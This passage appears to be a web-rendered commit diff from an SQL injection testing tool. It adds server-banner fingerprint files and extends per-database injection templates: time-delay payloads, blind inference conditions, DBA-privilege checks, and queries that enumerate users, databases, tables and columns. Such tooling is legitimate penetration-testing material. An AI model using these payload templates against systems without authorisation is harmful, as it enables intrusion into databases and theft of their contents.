<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2006.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2007"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Red Hat -->
|
||||
<!-- TODO: add Red Hat 5, 5.1, 5.2 and 5.3 -->
|
||||
|
||||
<regexp value="Apache/1\.2\.6 Red Hat">
|
||||
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.0" codename="Guinness"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: SuSE -->
|
||||
<!-- TODO: add SuSE 10.1, 10.2, 10.3 and 11.0 -->
|
||||
|
||||
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="6.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="6.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
|
||||
<info technology="operating-system.type" type="str" value="Linux"/>
|
||||
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="7.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="7.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="7.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="10.0"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Ubuntu -->
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||
</regexp>
|
||||
</root>
|
||||
21
xml/banner/servlet.xml
Normal file
21
xml/banner/servlet.xml
Normal file
@@ -0,0 +1,21 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
|
||||
|
||||
<root>
|
||||
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
|
||||
<info technology="Tomcat" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="JSP" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="Servlet" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="Java" tech_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
9
xml/banner/sharepoint.xml
Normal file
9
xml/banner/sharepoint.xml
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->
|
||||
|
||||
<root>
|
||||
<regexp value="([\d\.]+)">
|
||||
<info technology="Microsoft Share Point" tech_version="1" type="Windows"/>
|
||||
</regexp>
|
||||
</root>
|
||||
9
xml/banner/x-aspnet-version.xml
Normal file
9
xml/banner/x-aspnet-version.xml
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->
|
||||
|
||||
<root>
|
||||
<regexp value="([\d\.]+)">
|
||||
<info technology="ASP.NET" tech_version="1" type="Windows" distrib="2003|2008"/>
|
||||
</regexp>
|
||||
</root>
|
||||
29
xml/banner/x-powered-by.xml
Normal file
29
xml/banner/x-powered-by.xml
Normal file
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/X-Powered-By -->
|
||||
|
||||
<root>
|
||||
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="PHP" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="JSP" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ASP[\/\d\.]*$">
|
||||
<info technology="ASP" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ASP\.NET">
|
||||
<info technology="ASP.NET" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]*([\d\.]+)">
|
||||
<info technology="Tomcat" tech_version="2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Servlet[\-\_\/\ ]*([\d\.]+)">
|
||||
<info technology="Servlet" tech_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
@@ -14,11 +14,20 @@
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="#" query2="/*"/>
|
||||
<!--
|
||||
NOTE: MySQL 5.0.12 introduced SLEEP() function
|
||||
References:
|
||||
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
|
||||
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
|
||||
-->
|
||||
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
|
||||
<substring query="MID((%s), %d, %d)"/>
|
||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
@@ -62,11 +71,14 @@
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
|
||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
||||
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
||||
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
||||
@@ -109,11 +121,14 @@
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
|
||||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
@@ -157,11 +172,14 @@
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
|
||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||
<banner query="@@VERSION"/>
|
||||
<current_user query="SYSTEM_USER"/>
|
||||
<current_db query="DB_NAME()"/>
|
||||
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
||||
@@ -174,17 +192,15 @@
|
||||
<privileges/>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM master..sysdatabases"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
</dbs>
|
||||
<!-- TODO: condition? -->
|
||||
<tables>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v') ORDER BY name ASC) ORDER BY name ASC" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||
</tables>
|
||||
<!-- TODO: getRange like Oracle? -->
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
||||
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')) CTABLE" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
||||
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s..%s"/>
|
||||
|
||||
Reference in New Issue
Block a user